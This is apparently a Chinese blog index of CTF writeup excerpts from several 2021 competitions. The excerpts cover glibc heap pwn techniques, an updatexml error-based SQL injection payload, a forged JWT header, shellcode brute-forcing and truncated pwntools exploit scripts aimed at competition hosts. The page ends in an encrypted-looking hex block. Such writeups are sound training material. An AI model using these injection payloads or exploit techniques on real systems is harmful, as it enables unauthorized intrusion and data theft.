第一届广东省大学生网络安全攻防大赛PWN Writeup
两个题目都是无输出堆题,最近一次比赛在 nepctf 遇到:https://www.mrskye.cn/archives/bdb75c49/#sooooeasy
思路方法概述:https://www.jianshu.com/p/fe28639e406e
BabyNote题目是基于 glibc 2.31 的菜单堆题。
漏洞出现在 free 之后没有置零指针导致的 UAF :
程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。
思路:
利用 tcache double 和 scanf 输出长字符串触发 malloc_consolidate 获取 main_arena 地址
爆破倒数第四个数字,将堆分配到 stdout 结构体上,修改 flag 和 write_base 地址泄露出 libc 地址
利用 tcache dup get shell
遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :
1p64(0x0FBAD1887) +p64 ...
第十四届全国大学生信息安全竞赛线上初赛Writeup
Webeasy_sql单引号直接报错,试了一下updatexml直接可以报错注入了。
注到表名时过滤了information以及其他等效替代的表,测了一下有flag表,然后就开始无列名注入了。
1uname=admin&passwd=123') or (updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id))c),0x7e),1)) %23&Submit=%E7%99%BB%E5%BD%95
注出来前两个字段为id跟no,注出来flag位于40b380c6-1208-4216-b5a8-1f550a5a8be4。
1uname=admin&passwd=123') or (updatexml(1,concat(0x7e,(select * from(select * from flag a join (select * from flag)b using(id ...
2021 ISCC 信息安全与对抗技术竞赛Writeup
M781234567891011121314151617181920212223from pwn import *context.log_level = 'debug'context.terminal = ['tmux','sp','-h']# p = process("./M78")p = remote("39.96.88.40",7010)libc = ELF("/lib/i386-linux-gnu/libc.so.6")elf = ELF("./M78")p.sendlineafter('?','1')p.recvuntil("building\n")p.send('a'*25)p.recvuntil("password\n")# gdb.attach(p,"b *0x080492B0")payload ...
2021津门杯Writeup
easypwn新建的堆块时,存在 off by one
phone number 和 name 写入函数使用的是 scanf 。scanf 是危险函数,可以一直输入直到遇到 \n 。
指针存放地址在 name 后面,可以通过溢出修改指针地址。
EXP123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657from pwn import *context.log_level = 'debug'context.terminal = ['tmux','sp','-h']def cmd(cmd): p.recvuntil(">>") p.sendline(str(cmd))def add(number,name,size,des): cmd(1) p.sendlineafter("numbe ...
第四届红帽杯线上赛Writeup
Webfind_it.1ndexx.php.swp
源码:
12345678910111213141516171819202122232425<?php#Really easy...$file=fopen("flag.php","r") or die("Unable 2 open!");$I_know_you_wanna_but_i_will_not_give_you_hhh = fread($file,filesize("flag.php"));$hack=fopen("hack.php","w") or die("Unable 2 open");$a=$_GET['code'];if(preg_match('/system|eval|exec|base|compress|chr|ord|str|replace|pack|assert|preg|replace|create|function|call|\~|\ ...
2021 CVVD首届车联网漏洞挖掘赛线上初赛Writeup
2021 CVVD首届车联网漏洞挖掘赛线上初赛G2mtu Writeupjwt原题
https://blog.csdn.net/weixin_46676743/article/details/113726655
带着
1Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImVicmVidW5hIiwicGFzc3dvcmQiOiIiLCJhZG1pbiI6ImdlaHIiLCJpYXQiOjE2MjA0NTgwMzJ9.QkpCPfCtmMmeEYRoLFzzT8ag7mIaIPIcbZLZABqnXHw
访问/admin
CAN总线4通过诊断服务报文使ECU停止发送网络管理报文,但仍能接收应用报文,请写出诊断服务报文数据场的前4字节。
参考https://blog.csdn.net/usstmiracle/article/details/109214586
0x04 应用层有四字节
0x28 CommunicationControl
0x01 enableRxAndDisableTx(激活接收和关 ...
2021年全国网络空间安全技术大赛Writeup
bank最直观就是格式化字符串漏洞,用来读取堆上的 flag :
进入分支需要经过一个 strcmp 的校验,这里的写法是:if ( !strcmp(s1, password) ) ,需要返回值是 0 ,多了个取反符号,用截断绕不过去
问题是出在生成密码的地方,生成密码后用 fgets 读入,都是 gets 家族的函数,遇到 \n 就停止输入,当生成的密码首位是 \n ,那么密码全为 0x00 。一开始没发现,正常时用 read 读入就没有这个问题。
exp1234567891011121314151617181920212223242526from pwn import *context.log_level = 'debug'context.terminal = ['tmux','sp','-h']elf = ELF("./bank")# gdb.attach(p,"b *0x4013BF")# gdb.attach(p,"b *0x40130C&quo ...
第五届蓝帽杯Writeup
slient第四届蓝帽杯线下原题,只是 flag 放的位置换了。写 shellcode 的题目:
只能下 read open 函数,构成不了 orw 。换个思路用可见字符去比较,也就是爆破。
EXP1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374# encoding=utf-8from pwn import *file_path = "./chall"context.arch = "amd64"# context.log_level = "debug"context.terminal = ['tmux', 'splitw', '-h']elf = ELF(file_path)debug = 0# if debug:# p = pr ...
无题
通过 realloc 造成堆重叠,让 unsorted bin 与 tcache bin 重叠,修改 tcache bin 的 fd 指针到 io_stdout ;修改 io_stdout 的 flag 为 0x0FBAD1887 ,泄露出 libc 地址。
d4cc29fc
376aff6f29018a3232c84962f5c1977297636aac3d1ddd6156c5c638bc748fb7f29a90fcc99e861c24564be92c8f46aee779eac710417cc4af58812ab3c09800bcdc1e848a4af34551aa6ebc0b5cc15e6474026fc7794afc4e6e98039ef07e505f63d7168b9ef245299bd94e1bad1f057f0a589a7d8c13f96c92ffb65b4164b8fb4de29340b495de1705fdd59abc570ec57e75f6ba80973238e5125b5109917e94855515d1a1a55bc7045cae3e0eb3172a344ffc70ff1cd69104a58d56fe8202b8a45e3273e858907feee1cb30bdad70513d2b94c97a9e1a6f008c1bc2f0a57292522aaa28ea562c59d950cf42a8ff66cb89c082decdee66a ...